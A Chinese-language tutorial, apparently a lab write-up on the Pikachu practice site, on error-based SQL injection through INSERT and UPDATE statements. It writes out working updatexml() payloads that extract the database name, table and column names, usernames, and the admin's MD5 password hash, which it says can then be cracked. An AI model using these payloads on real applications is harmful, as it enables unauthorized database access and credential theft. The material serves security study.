SQL注入-基于insert/update利用案例
sql語句正常插入表中的數據
insert into member(username,pw,sex,phonenum,address,email) values('xiaoqiang',1111,1,2,3,4);
select * from member;
例如插入小強數據,如圖所示:
采用or這個運算符,構造閉合語句
values('xiaoqiang' or or '',1111,1,2,3,4);
‘xiaoqinag’ or __ or 中后面的那個or后的單引號是為了閉合掉語句后面本身帶有的單引號。而前面第一個or后是我們要填的注入語句。
這里還是用后臺報錯的方法來構造payload,且有必要提到的是,這里我們還用的了updatexmal()
基于insert語句下的報錯:
暴庫payload語句
xiaoqiang' or updatexml(1,concat(0x7e,database()),0) or '
爆出數據庫:pikachu 如圖所示:
基于insert利用案例(與update是一樣的)
通過前端網頁進行測試,點擊insert注入->注冊,必填項輸入單引號,看后臺會執行報錯不
發現被后臺數據執行,返回報錯信息sql語句錯誤
輸入payload爆庫語句進行測試,查看結果
xiaoqiang' or updatexml(1,concat(0x7e,database()),0) or '
發現數據庫已經顯示pikachu
輸入payload爆表名稱語句,也是要加limit參數,一次一次的去測試
xiaoqiang' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or '
發現表名稱為users比較敏感
根據已知的表名進行爆列字段的payload語句,一次一次進行測試
xiaoqiang' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) or '
爆出字段用戶名username
爆出字段密碼:password
爆出用戶名和密碼的payload語句
xiaoqiang' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) or '
發現高級用戶admin
根據已知的表名,用戶名,進行爆出密碼的payload語句
xiaoqiang' or updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0) or '
爆出md5值密碼,被加密了,可以進行解密,即可;
基于update利用案例(與insert是一樣的)
例如:還是用暴庫語句,基于報錯:
xiaoqiang’ or updatexml(1,concat(0x7e,database()),0) or ’
登錄lucy的賬號,進行修改數據,輸入payload語句進行暴庫
如果所示,庫名被暴漏出來,接下來同上一樣的操作,這里就不演示了;